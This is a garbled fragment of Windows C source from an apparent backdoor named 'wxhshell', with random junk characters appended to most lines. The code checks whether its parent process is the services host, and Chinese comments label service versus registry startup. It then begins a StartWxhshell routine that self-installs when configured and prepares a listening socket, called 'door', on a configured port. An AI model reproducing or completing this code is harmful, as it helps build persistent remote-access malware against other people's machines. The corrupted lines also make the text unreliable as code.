DWORD BasePriority; ;iy]mPd
ULONG UniqueProcessId; 73A1+2
ULONG InheritedFromUniqueProcessId; /P<RYA~
} PROCESS_BASIC_INFORMATION; %L=roqz
_' Xt
PROCNTQSIP NtQueryInformationProcess; R4 ;^R
u^s{r`/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =&U JFu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NYM$0v`0YK
$fPf/yQmC
HANDLE hProcess; vY7C!O/y_k
PROCESS_BASIC_INFORMATION pbi; k=Pu4:RF
0V{-5-.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V?kJYf(<
if(NULL == hInst ) return 0; D*|h
c
Mou>|U1e"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J1cD)nM<A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "KcSOjvJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \vT0\1:|i
8RVNRV@g%
if (!NtQueryInformationProcess) return 0; 2shr&Mfp[
m@;X%wf<U
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ZtlF]k:MV
if(!hProcess) return 0; 67+ K
?!,
gs_"H
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &1ASWllD
kn 5q1^
CloseHandle(hProcess); m4<8v
usZmf=p-r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,v4Z[ (
if(hProcess==NULL) return 0; QzT )PtX
;-~Wfh+
HMODULE hMod; ~QJD.'z
char procName[255]; !sfOde)$
unsigned long cbNeeded; 8E H#IiP
$u|p(E:*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4Smno%jq
y>'^<xk
CloseHandle(hProcess); QKL5!
L9`
30-XFl
if(strstr(procName,"services")) return 1; // 以服务启动 #.$p7]
rtS(iD@B"
return 0; // 注册表启动 DM/J,q
} Qf6]qJa|
,}2M'DSWa
// 主模块 x|<rt966A
int StartWxhshell(LPSTR lpCmdLine) /(8Usu?g.
{ ;+>-uPT/1
SOCKET wsl; oJ ,t]e*q=
BOOL val=TRUE; BEPeK
int port=0; ;Z-xum{
struct sockaddr_in door; 3v
:PBmE
B'"C?d<7
if(wscfg.ws_autoins) Install(); wA|m/SZx
0R\lm<&
port=atoi(lpCmdLine); )}\jbh>RH
;hA>?o_i(
if(port<=0) port=wscfg.ws_port; ^&am